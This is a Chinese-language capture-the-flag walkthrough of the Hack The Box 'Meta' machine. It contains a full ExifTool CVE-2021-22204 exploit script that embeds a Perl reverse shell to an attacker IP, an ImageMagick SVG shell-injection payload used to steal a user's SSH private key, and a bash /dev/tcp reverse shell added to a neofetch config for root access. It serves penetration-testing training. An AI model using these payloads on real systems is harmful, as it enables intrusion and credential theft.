Hackthebox - Meta

靶场信息

靶场类型

信息搜集

Nmap

首先使用nmap进行端口扫描

┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.140
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-19 21:46 EST
Nmap scan report for 10.10.11.140
Host is up (0.22s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://artcorp.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/19%OT=22%CT=1%CU=40520%PV=Y%DS=2%DC=T%G=Y%TM=6211ABB
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST1
OS:1NW7%O6=M505ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   222.35 ms 10.10.14.1
2   222.43 ms 10.10.11.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.02 seconds

Http

进入80端口会自动跳转到artcorp.htb，先加入到hosts

echo 10.10.11.140 artcorp.htb >> /etc/hosts

看样子是一家艺术公司，进来后没有什么有用的东西，先fuzz一下目录看看吧

Fuzz

┌──(root💀kali)-[~/Desktop]
└─# ffuf -u "http://artcorp.htb/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://artcorp.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

assets                  [Status: 301, Size: 234, Words: 14, Lines: 8]
css                     [Status: 301, Size: 231, Words: 14, Lines: 8]
server-status           [Status: 403, Size: 199, Words: 14, Lines: 8]
                        [Status: 200, Size: 4427, Words: 1663, Lines: 87]
:: Progress: [20116/20116] :: Job [1/1] :: 180 req/sec :: Duration: [0:01:54] :: Errors: 0 ::

也没什么有用的东西，去fuzz一下子域名看看

┌──(root💀kali)-[~/Desktop]
└─# ffuf -c -u http://artcorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.artcorp.htb"  -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://artcorp.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.artcorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

dev01                   [Status: 200, Size: 247, Words: 16, Lines: 10]
:: Progress: [4989/4989] :: Job [1/1] :: 179 req/sec :: Duration: [0:00:32] :: Errors: 0 ::

有一个dev01，加入到hosts

echo 10.10.11.140 dev01.artcorp.htb >> /etc/hosts

Uploads

看不太懂有什么用，先点点看看吧

这边是一个上传点，上传一个shell试试

提示只能上传jpg和png格式的文件，那就随便拿张图试试吧

这里列出了图片的属性信息，我猜测应该是图片隐写或者exiftool的cve漏洞之类的

本地使用exiftool进行确认一下

可以对上，是exiftool无疑了，去搜索一下exiftool的漏洞

漏洞利用

发现一个可用的漏洞

https://github.com/convisolabs/CVE-2021-22204-exiftool

下载下来后将IP和端口修改为自己的

#!/bin/env python3

import base64
import subprocess

ip = '10.10.14.16'
port = '4444'

payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"

payload = payload + base64.b64encode( f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({port},inet_aton('{ip}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};".encode() )

payload = payload + b"'))};\")"

payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()

subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])

然后执行

┌──(root💀kali)-[~/Desktop/CVE-2021-22204-exiftool]
└─# python3 exploit.py                          
    1 image files updated

┌──(root💀kali)-[~/Desktop/CVE-2021-22204-exiftool]
└─# ls    
configfile  exploit.djvu  exploit.py  image.jpg  image.jpg_original  lab  payload  payload.bzz  README.md

生成出来的image.jpg就是我们的shell了，拿去上传到web里

然后本地运行一个nc监听端口

nc -nvlp 4444

选择后执行即可

┌──(root💀kali)-[~/Desktop]
└─# nc -nvlp 4444                                       
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.140] 39314
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')";
bash-5.0$ whoami&&id
whoami&&id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功拿到一个shell

Ctrl+Z返回
stty raw -echo; fg
export TERM=xterm
stty rows 51 cols 237

权限提升

User

在/home/thomas中看到有.ssh文件夹

进入.ssh文件夹拿key，但是发现没权限

bash-5.0$ find /usr/ -type f -newermt '2022-01-01' -ls
   152500      4 -rwxr-xr-x   1 root     root          126 Jan  3 10:13 /usr/local/bin/convert_images.sh

查找一下从2022-01-01开始创建的新文件，找到了一个sh脚本

或是运行pspy64也可以发现这个脚本

我们查看一下

#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

这里mogrify只是一个简单的脚本，使用ImageMgick的mogrify将发现的文件转换为png

bash-5.0$ /usr/local/bin/mogrify -version
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
Copyright: © 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

有一个相关漏洞

生成一个poc.svg

<image authenticate='ff" `echo $(id)> /dev/shm/0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

测试一下是否可以以thomas的身份执行命令

cp poc.svg /var/www/dev01.artcorp.htb/convert_images/

bash-5.0$ ls -la
total 12
drwxrwxrwt  2 root     root      100 Feb 21 23:53 .
drwxr-xr-x 16 root     root     3080 Feb 21 10:51 ..
-rw-r--r--  1 thomas   thomas     54 Feb 21 23:53 0wned
-rw-r--r--  1 www-data www-data  406 Feb 21 23:52 poc.svg
bash-5.0$ cat 0wned 
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)

确认可以以thomas的身份执行命令，咱们修改一下poc的第一句，用thomas的权限把ssh的key给拿出来

<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>

然后再执行一次

bash-5.0$ ls -la
total 16
drwxrwxrwt  2 root     root      120 Feb 21 23:58 .
drwxr-xr-x 16 root     root     3080 Feb 21 10:51 ..
-rw-r--r--  1 thomas   thomas     54 Feb 21 23:53 0wned
-rw-r--r--  1 thomas   thomas   2590 Feb 21 23:58 id_rsa
-rw-r--r--  1 www-data www-data  422 Feb 21 23:56 poc.svg

已经储存过来了，查看一下

成功拿到thomas的key，现在保存到本地id_rsa后给他600的权限

chmod 600 id_rsa

然后使用ssh进行连接

┌──(root💀kali)-[~/Desktop]
└─# ssh thomas@artcorp.htb -i id_rsa 
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 21 15:30:44 2022 from 10.10.14.147
-bash-5.0$ whoami&&id
thomas
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)

-bash-5.0$ ls
user.txt
-bash-5.0$ cat user.txt 
9e36bb6959f1ba118cfe71b928ac66b6

成功拿到user权限的flag文件

Root

-bash-5.0$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

sudo -l看到有一个可以root权限执行的neofetch

https://gtfobins.github.io/gtfobins/neofetch/

这里找到一个提权相关的

但是有一点不一样，这里的权限只能使用指定参数

但是会保留XDG_CONFIG_HOME的环境变量

然后当前用户的neofetch配置文件可控

现在按照这个思路来操作吧

-bash-5.0$ cd ~/.config/neofetch/
-bash-5.0$ ls -la
total 24
drwxr-xr-x 2 thomas thomas  4096 Feb 21 13:32 .
drwxr-xr-x 3 thomas thomas  4096 Aug 30 13:01 ..
-rw-r--r-- 1 thomas thomas 14591 Aug 30 13:01 config.conf

在config.conf的第一行添加一个反向shell

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.16/4444 0>&1"

将thomas.config导出到基本配置环境路径

export XDG_CONFIG_HOME="$HOME/.config"

在本地启用nc监听一个端口

nc -nvlp 4444

以root权限执行neofetch文件

sudo -u root /usr/bin/neofetch \"\"

┌──(root💀kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.140] 39366
root@meta:/home/thomas/.config/neofetch# whoami&&id
whoami&&id
root
uid=0(root) gid=0(root) groups=0(root)

成功获得root权限

root@meta:/home/thomas/.config/neofetch# cd /root
cd /root
root@meta:~# ls
ls
conf
root.txt

cat root.txt
f3f5e2ad459dbd8842f813bec23889f0

成功拿到root权限的flag文件

Meta - Hackthebox

2022-02-22